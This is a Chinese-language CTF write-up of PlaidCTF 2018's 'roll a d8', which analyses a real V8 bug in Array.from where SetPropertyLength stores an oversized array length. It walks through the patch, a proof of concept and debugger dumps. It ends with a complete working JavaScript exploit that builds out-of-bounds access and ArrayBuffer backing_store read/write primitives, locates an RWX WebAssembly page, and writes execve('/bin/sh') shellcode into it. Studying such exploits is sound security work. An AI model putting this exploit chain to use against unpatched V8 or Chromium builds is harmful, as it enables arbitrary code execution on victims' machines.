roll a d8 v8利用学习

前言:

之前花了一段时间学习解释器原理,然后开始学习js引擎的利用.分析一下plaidctf中的roll a d8,虽说是ctf题,但是是真实的漏洞. 由于我也是菜鸡初学者,理解和分析的会有偏差.
主要参考了以下文章:
v8 exploit入门 PlaidCTF roll a d8
p4nda师傅的Plaid CTF 2018 roll a d8
扔个骰子学v8 - 从Plaid CTF roll a d8开始

环境搭建:

最好科学上网,或者在国外服务器上编译好然后打包拷到本地.
题目给了 issue: https://crbug.com/821137 , 找到修复漏洞的commit,然后将版本回退到打补丁之前.

1
2
3
4
5
cd v8
git reset --hard 1dab065bb4025bdd663ba12e2e976c34c3fa6599
cd ..
gclient sync
cd v8

编译release版本:

1
2
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8

这里在编译参数args.gn中加上了:v8_enable_object_print = true,但编译出来的release版本仍然不能用job,v8print等…,可能是版本问题吧,调试起来不方便,于是又编译了debug版本,方便使用job,v8print等查看对象布局:

1
2
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8

不使用debug版本直接写exp的原因是debug版本中有DCHECK.

patch分析:

patch了SetPropertyLength这个函数

这里的builtin函数是使用CodeStubAssembler写的,关于如何写CodeStubAssembler builtin可以参考官网文档 https://v8.dev/docs/csa-builtins

这里将GotoIf(SmiLessThan(length_smi, old_length), &runtime);修改为了GotoIf(SmiNotEqual(length_smi, old_length), &runtime);
通过注释可以知道: 如果 length_smi小于old_length,则跳转到runtime,进行array的收缩。否者不跳转,执行StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,length_smi); 将array的length设置为length_smi,这里的length_smi是迭代的次数,old_length是array原来的长度.

而patch将逻辑修改为 length_smi 不等于 old_length 则跳转到runtime.说明之前的逻辑在 length_smi大于 old_length 时存在问题,如果大于,则不会跳转到runtime,会去执行
StoreObjectFieldNoWriteBarrier,将array的长度设置为更大的length_smi.

poc分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
+// Tests that creating an iterator that shrinks the array populated by
+// Array.from does not lead to out of bounds writes.
+let oobArray = [];
+let maxSize = 1028 * 8;
+Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
+ {
+ counter : 0,
+ next() {
+ let result = this.counter++;
+ if (this.counter > maxSize) {
+ oobArray.length = 0;
+ return {done: true};
+ } else {
+ return {value: result, done: false};
+ }
+ }
+ }
+) });
+assertEquals(oobArray.length, maxSize);
+
+// iterator reset the length to 0 just before returning done, so this will crash
+// if the backing store was not resized correctly.
+oobArray[oobArray.length - 1] = 0x41414141;

Array.from函数的用途可以查看: Array.from()

Array.from() 方法从一个类似数组或可迭代对象中创建一个新的,浅拷贝的数组实例。

在debug版本运行该poc,v8就会挂掉:

1
2
3
4
5
6
7
8
wxy@ubuntu:/mnt/hgfs/vmshare/js_exp/v8/out.gn/x64.debug$ ./d8 poc.js 
#
# Fatal error in ../../src/objects/fixed-array-inl.h, line 96
# Debug check failed: index < this->length() (8223 vs. 0).
#
#
#
#FailureMessage Object: 0x7ffe999d87a0

从DCHECK可以看到是越界访问了.

poc在迭代的最后一次将oobArray的length设置为0.

分析polyfill.js中from的js实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
define(
Array, 'from',
function from(items) {
var mapfn = arguments[1];//获得map函数
var thisArg = arguments[2];//获得map函数的this
var c = strict(this); //获得this
if (mapfn === undefined) { //判断是否提供了map函数
var mapping = false;
} else {
if (!IsCallable(mapfn)) throw TypeError();
var t = thisArg;
mapping = true;
}
var usingIterator = GetMethod(items, $$iterator);
if (usingIterator !== undefined) {
if (IsConstructor(c)) { //判断c是否是函数
var a = new c(); //如果是函数则 new c();
} else {
a = new Array(0);
}
......

在poc中,使用call将this替换成了 function ,所以这里会调用 new c(), 而new一个函数对象时,如果函数return的是一个对象,则new得到的即是这个函数返回的对象,否者是函数对象本身.
关于的new的返回值可以参考JS中new操作符与函数返回值return,则之后 a 即是oobArray.

知道from的实现逻辑后就可以看v8中from的实现了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler) {
...
BIND(&normal_iterate);
TNode<Object> map_function = args.GetOptionalArgumentValue(1);//获得map_function

// If map_function is not undefined, then ensure it's callable else throw.
{
Label no_error(this), error(this);
GotoIf(IsUndefined(map_function), &no_error);//没定义就跳到no_error
GotoIf(TaggedIsSmi(map_function), &error);//是smi,就跳到error
Branch(IsCallable(CAST(map_function)), &no_error, &error);//map_function可以调用就跳到no_error

BIND(&error);
ThrowTypeError(context, MessageTemplate::kCalledNonCallable, map_function);

BIND(&no_error);
}

Label iterable(this), not_iterable(this), finished(this), if_exception(this);

TNode<Object> this_arg = args.GetOptionalArgumentValue(2);//获得 map_function的this
// The spec doesn't require ToObject to be called directly on the iterable
// branch, but it's part of GetMethod that is in the spec.
TNode<JSReceiver> array_like = ToObject_Inline(context, items);//获得array_like

TVARIABLE(Object, array); //创建两个变量: array,length
TVARIABLE(Number, length);

// Determine whether items[Symbol.iterator] is defined:
IteratorBuiltinsAssembler iterator_assembler(state());
Node* iterator_method =
iterator_assembler.GetIteratorMethod(context, array_like);
////如果为null或者undefined,则跳转到not_iterable, 否者跳转到iterable
Branch(IsNullOrUndefined(iterator_method), &not_iterable, &iterable);

BIND(&iterable);
{
TVARIABLE(Number, index, SmiConstant(0));
TVARIABLE(Object, var_exception);
Label loop(this, &index), loop_done(this),
on_exception(this, Label::kDeferred),
index_overflow(this, Label::kDeferred);

// Check that the method is callable. 检查方法是否可调用
{
Label get_method_not_callable(this, Label::kDeferred), next(this);
GotoIf(TaggedIsSmi(iterator_method), &get_method_not_callable);//如果是smi或者不可调用,则跳转到get_method_not_callable
GotoIfNot(IsCallable(CAST(iterator_method)), &get_method_not_callable);
Goto(&next);//调转到next.

BIND(&get_method_not_callable);
ThrowTypeError(context, MessageTemplate::kCalledNonCallable,
iterator_method);

BIND(&next);
}

// Construct the output array with empty length.
//创建一个空的array,用来存放迭代的数据. , 在poc里使用了call,这里的array就是oobarray.
array = ConstructArrayLike(context, receiver);

// Actually get the iterator and throw if the iterator method does not yield
// one.
IteratorRecord iterator_record =
iterator_assembler.GetIterator(context, items, iterator_method);

TNode<Context> native_context = LoadNativeContext(context);
TNode<Object> fast_iterator_result_map =
LoadContextElement(native_context, Context::ITERATOR_RESULT_MAP_INDEX);

Goto(&loop);

BIND(&loop);
{
// Loop while iterator is not done.//进入循环,如果done则跳转到loop_done
TNode<Object> next = iterator_assembler.IteratorStep(
context, iterator_record, &loop_done, fast_iterator_result_map);
TVARIABLE(Object, value,
CAST(iterator_assembler.IteratorValue(
context, next, fast_iterator_result_map)));

// If a map_function is supplied then call it (using this_arg as
// receiver), on the value returned from the iterator. Exceptions are
// caught so the iterator can be closed.
{
Label next(this);
GotoIf(IsUndefined(map_function), &next);//如果map_function是undefined,则跳转到next.

CSA_ASSERT(this, IsCallable(CAST(map_function)));
Node* v = CallJS(CodeFactory::Call(isolate()), context, map_function,
this_arg, value.value(), index.value());//调用map_function
GotoIfException(v, &on_exception, &var_exception);
value = CAST(v);
Goto(&next);
BIND(&next);
}

// Store the result in the output object (catching any exceptions so the
// iterator can be closed).
Node* define_status =
CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
index.value(), value.value());
GotoIfException(define_status, &on_exception, &var_exception);

index = NumberInc(index.value());

// The spec requires that we throw an exception if index reaches 2^53-1,
// but an empty loop would take >100 days to do this many iterations. To
// actually run for that long would require an iterator that never set
// done to true and a target array which somehow never ran out of memory,
// e.g. a proxy that discarded the values. Ignoring this case just means
// we would repeatedly call CreateDataProperty with index = 2^53.
CSA_ASSERT_BRANCH(this, [&](Label* ok, Label* not_ok) {
BranchIfNumberRelationalComparison(Operation::kLessThan, index.value(),
NumberConstant(kMaxSafeInteger), ok,
not_ok);
});
Goto(&loop);
}//loop

BIND(&loop_done); // 循环结束
{
length = index; //length 等于迭代的次数
Goto(&finished);//跳转到finish
}

BIND(&on_exception);
{
// Close the iterator, rethrowing either the passed exception or
// exceptions thrown during the close.
iterator_assembler.IteratorCloseOnException(context, iterator_record,
var_exception.value());
}
}
...
BIND(&finished);//最后跳到这里,调用SetPropertyLength

// Finally set the length on the output and return it.
SetPropertyLength(context, array.value(), length.value());
args.PopAndReturn(array.value());
}

在from的实现中,创建了一个新array用来存放迭代的数据:

1
array = ConstructArrayLike(context, receiver);

迭代完之后跳转到finish,执行这个有漏洞的函数进行内存的调整:
SetPropertyLength(context, array.value(), length.value());

而这个函数会在迭代次数(length_smi)小于新创建的array的长度(old_length)时,跳转到runtime,进行内存的回收.在没有打patch之前,当length_smi大于等于old_length的时候,不会跳转到runtime,而是直接将新创建array的length设置为length_smi.

poc里,使用了call,将Array.from函数里的this更改为oobArray,即新创建的array变成了poc里的oobArray.在迭代的最后一次将oobArray的length修改为0:

1
2
3
4
if (this.counter > maxSize) {
oobArray.length = 0;
return {done: true};
}

此时oobArray的内存进行了缩减。迭代完成后,进入到SetPropertyLength(context, array.value(), length.value())里,此时old_length(oobArray.length) = 0 ,length_smi(迭代的次数) = maxsize , 即length_smi大于old_length,则不会跳转到runtime,而是会调用StoreObjectFieldNoWriteBarrier:

1
2
3
4
5
6
7
//  If the created array already has a length greater than required,
// then use the runtime to set the property as that will insert holes
// into the excess elements and/or shrink the backing store.

GotoIf(SmiLessThan(length_smi, old_length), &runtime);
StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
length_smi);

StoreObjectFieldNoWriteBarrier将oobArray的length直接修改为length_smi(不会进行内存的增减),但是oobArray的内存空间只有old_length = 0这么大,这样就可以访问到不属于oobAarray的空间,造成oob:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
let oobArray = [1.1];
%DebugPrint(oobArray);
let maxSize = 1028 * 8;
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = this.counter++;
if (this.counter > maxSize) {
oobArray.length = 0;
%SystemBreak();
print("Before oobArray.length ==> "+oobArray.length)
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
print("After oobArray.length ==> "+oobArray.length);
%SystemBreak();

可知迭代完后oobArray对象情况如下:

1
2
3
4
5
6
7
8
9
pwndbg> job 0x269e9240d929
0x269e9240d929: [JSArray]
- map: 0xfd1a6f82679 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x3ab4d285539 <JSArray[0]>
- elements: 0x2172dca02251 <FixedArray[0]> [PACKED_DOUBLE_ELEMENTS]
- length: 8224
- properties: 0x2172dca02251 <FixedArray[0]> {
#length: 0x2172dca4ff89 <AccessorInfo> (const accessor descriptor)
}

length为8224,而分配的空间是:FixedArray[0].这样就可以访问不属于oobArray的空间.

漏洞利用:

利用ArrayBuffer对象中的backing_store,该区域指向了真正的缓冲区.当使用Dataview或者TypeArray读写数据时,其实是向backing_store指向的区域读写.那么修改ArrayBuffer中的backing_store为你想要读写的地址即可得到任意读写:

1
2
3
4
5
6
7
8
9
10
11
12
13
DebugPrint: 0x22971a30df61: [JSArrayBuffer]
- map: 0x2d702b083fe9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x2672fde92981 <Object map = 0x2d702b084041>
- elements: 0xbbe9ee02251 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x55cf8ac477c0
- byte_length: 4660
- neuterable
- properties: 0xbbe9ee02251 <FixedArray[0]> {}
- embedder fields = {
(nil)
(nil)
}

得到任意读写后,如何执行shellcode:
通过wasm_function对象找到编译过后的函数的入口点,不同版本查找方法可能会有所不同,本题的路径如下:
通过wasm_function对象找到shared_info:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
DebugPrint: 0x10d0c0027df1: [Function] in OldSpace
- map: 0x3ff55ac0cde1 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x10d0c0004611 <JSFunction (sfi = 0x3b6d4ec05559)>
- elements: 0x3b6d4ec02251 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x10d0c0027cd1 <SharedFunctionInfo 0>
- name: 0x3b6d4ec4f6d9 <String[1]: 0>
- formal_parameter_count: 0
- kind: NormalFunction
- context: 0x10d0c0003eb1 <FixedArray[234]>
- code: 0xcb64c90ea61 <Code JS_TO_WASM_FUNCTION>
- WASM instance 0x10d0c0027b31
context 0x561d97f177f0
- WASM function index 0
- properties: 0x2756aed0dde9 <PropertyArray[3]> {

再通过shared_info找到Code JS_TO_WASM_FUNCTION:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0x10d0c0027cd1: [SharedFunctionInfo] in OldSpace
- map: 0x2dce98482889 <Map[128]>
- name: 0x3b6d4ec4f6d9 <String[1]: 0>
- kind: NormalFunction
- function_map_index: 128
- formal_parameter_count: 0
- expected_nof_properties: 0
- language_mode: sloppy
- code: 0xcb64c90ea61 <Code JS_TO_WASM_FUNCTION>
- function token position: 0
- start position: 0
- end position: 0
- no debug info
- scope info: 0x3b6d4ec02459 <ScopeInfo[0]>
- length: 0
- feedback_metadata: 0x3b6d4ec02931: [FeedbackMetadata] in OldSpace
- map: 0x2dce98483071 <Map>
- slot_count: 0

然后在JS_TO_WASM_FUNCTION这里就可以找到函数的入口点:0x5ad5b332000 (wasm function)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0xcb64c90ea61: [Code]
- map: 0x2dce984828e1 <Map>
kind = JS_TO_WASM_FUNCTION
compiler = turbofan
address = 0xcb64c90ea61
Body (size = 67)
Instructions (size = 44)
0xcb64c90eac0 0 55 push rbp
0xcb64c90eac1 1 4889e5 REX.W movq rbp,rsp
0xcb64c90eac4 4 56 push rsi
0xcb64c90eac5 5 57 push rdi
0xcb64c90eac6 6 48bef077f1971d560000 REX.W movq rsi,0x561d97f177f0 ;; wasm context reference
0xcb64c90ead0 10 49ba0020335bad050000 REX.W movq r10,0x5ad5b332000 (wasm function) ;; js to wasm call
0xcb64c90eada 1a 41ffd2 call r10
0xcb64c90eadd 1d 48c1e020 REX.W shlq rax, 32
0xcb64c90eae1 21 488be5 REX.W movq rsp,rbp
0xcb64c90eae4 24 5d pop rbp
0xcb64c90eae5 25 c20800 ret 0x8
0xcb64c90eae8 28 90 nop
0xcb64c90eae9 29 0f1f00 nop

具体位置是 JS_TO_WASM_FUNCTION - 1 + 0x72 , 该位置是rwx,写入shellcode即可:

1
2
3
pwndbg> vmmap 0x5ad5b332000
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x5ad5b332000 0x5ad5b333000 rwxp 1000 0

exp如下:(前面获得任意读写参考了v8 exploit入门 PlaidCTF roll a d8)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
class convert
{
constructor()
{
this.buf=new ArrayBuffer(8)
this.uint8array=new Uint8Array(this.buf);
this.float64array=new Float64Array(this.buf);
this.uint32array=new Uint32Array(this.buf);
}
f2i(x)//float64 ==> uint64
{
this.float64array[0]=x;
let sum = 0;
for (let i = 0 ;i< 8 ;i ++)
{
sum += this.uint8array[i]*(0x100**i);
}
//print(sum.toString(16));
return sum;
}
i2f(x)//uint64 ==> float64
{
let tmp = [];
tmp[0] = (x % 0x100000000);
tmp[1] = ((x - tmp[0]) / 0x100000000);
this.uint32array[0]=tmp[0];
this.uint32array[1]=tmp[1];
return this.float64array[0];
}
}
let conv= new convert();

let buf_array=[];
let obj_array=[];
let oob_array=[1.1];
let maxsize = 1028*8;
Array.from.call(function() {return oob_array},{[Symbol.iterator]: _ =>(
{
counter: 0 ,
next()
{
let res=this.counter++;
if(this.counter>maxsize)
{
oob_array.length=1;
for (let i = 0;i<100;i++)
{
buf_array.push(new ArrayBuffer(0x1111));
obj_array.push({"a":0x1234});
}
return {done:true};
}
else
{
return {value:1.1,done:false};
}
}
}
)
});
let buf_offset ; // in oob_array
let buf_index ; //in buf_array
let obj_offset; // in oob_array
let obj_index; // in obj_array

for (let i = 0; i< maxsize ; i++)
{
let val = conv.f2i( oob_array[i] );
if(val == 0x111100000000)
{
oob_array[i]=conv.i2f(0x100000000000);
oob_array[i+2]=conv.i2f(0x1000);
buf_offset=i;
break;
}
}
for ( let i = 0 ;i < maxsize ; i++)
{
let val = conv.f2i( oob_array[i] );
if(val == 0x123400000000)
{
obj_offset=i;
oob_array[i]=conv.i2f(0x222200000000);
break;
}
}

for(let i = 0 ;i < 100 ; i++)
{
if (buf_array[i].byteLength==0x1000)
{
buf_index=i;
break;
}
}
for (let i = 0; i< 100 ; i++)
{
if(obj_array[i]["a"]==0x2222)
{
obj_index=i;
break;
}
}
print("buf_offset ==> "+buf_offset);
print("buf_index ==> "+buf_index);
print("obj_offset ==> "+obj_offset);
print("obj_index ==> "+obj_index);

class tools
{
leak_obj_addr(obj)
{
obj_array[obj_index]["a"]=obj;
return conv.f2i(oob_array[obj_offset]);
}
read64(addr)
{
oob_array[buf_offset+1]=conv.i2f(addr);//back_store ==> addr
let temp= new Float64Array(buf_array[buf_index]);
return conv.f2i(temp[0]);
}
write8(addr,x)
{
oob_array[buf_offset+1]=conv.i2f(addr);//back_store ==> addr
let temp= new Uint8Array(buf_array[buf_index]);
temp[0]=x;
}
}

let tool = new tools();

//let a = [1];
//%DebugPrint(a);
//print(tool.leak_obj_addr(a).toString(16));

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

let f_addr=tool.leak_obj_addr(f);
print("f_addr ==> "+f_addr.toString(16));
let share_info=tool.read64(f_addr+0x18-0x1)-0x1;
print("func_info ==> "+share_info.toString(16));
let code_addr = tool.read64(share_info+0x8)-0x1;
print("code_addr ==>" + code_addr.toString(16));
let rwx_addr= tool.read64(code_addr+0x72)
print("rwx_addr ==> "+rwx_addr.toString(16));

shellcode= new Uint8Array([106,0,72,141,61,17,0,0,0,87,72,141,52,36,72,49,210,72,199,192,59,0,0,0,15,5,47,98,105,110,47,115,104,0])
for(var i = 0; i < shellcode.length;i++){
var value = shellcode[i];
tool.write8(rwx_addr+i,value);
}
//%SystemBreak();
f();